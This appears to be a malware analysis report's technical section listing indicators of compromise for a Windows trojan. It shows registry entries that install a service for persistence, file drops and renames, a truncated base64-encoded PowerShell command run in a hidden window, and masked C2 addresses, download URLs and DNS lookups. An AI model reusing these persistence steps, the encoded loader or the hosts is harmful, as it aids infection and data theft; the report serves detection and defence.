Technical Information
- [<HKLM>\System\CurrentControlSet\Services\IPHLPAPI] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\IPHLPAPI] 'ImagePath' = '"%WINDIR%\SysWOW64\runas\IPHLPAPI.exe"'
- 'IPHLPAPI' "%WINDIR%\SysWOW64\runas\IPHLPAPI.exe"
- 'IPHLPAPI' %WINDIR%\SysWOW64\runas\IPHLPAPI.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABSADMAbABmAF8AZgAyAD0AKAAoACcASgA5ADEAeAB5ACcAKwAnAGwAJwApACsAJwA0ACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAdQBzAEUAcgBwAHIATwBGAEkAbABlAFwARgAwAEIAdwBlAD...
- %HOMEPATH%\f0bwe54\dgwlry4\ujkfmkgc.exe
- %HOMEPATH%\f0bwe54\dgwlry4\ujkfmkgc.exe
- from %HOMEPATH%\f0bwe54\dgwlry4\ujkfmkgc.exe to %WINDIR%\syswow64\runas\iphlpapi.exe
- %HOMEPATH%\f0bwe54\dgwlry4\ujkfmkgc.exe
- '10#.#2.141.43':80
- http://www.go####ndmill.com/meteo/97/
- http://www.gr####studio.com/docs/Z/
- http://10#.#2.141.43/5VAkjYqM3v15IcZ/k2599EW1T/xjaH0vRvx7/1WzlK1/
- DNS ASK go####ndmill.com
- DNS ASK gr####studio.com
- DNS ASK b1##f.cn
- DNS ASK bl##.#ocialpill.in
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABSADMAbABmAF8AZgAyAD0AKAAoACcASgA5ADEAeAB5ACcAKwAnAGwAJwApACsAJwA0ACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAdQBzAEUAcgBwAHIATwBGAEkAbABlAFwARgAwAEIAdwBlAD...' (with hidden window)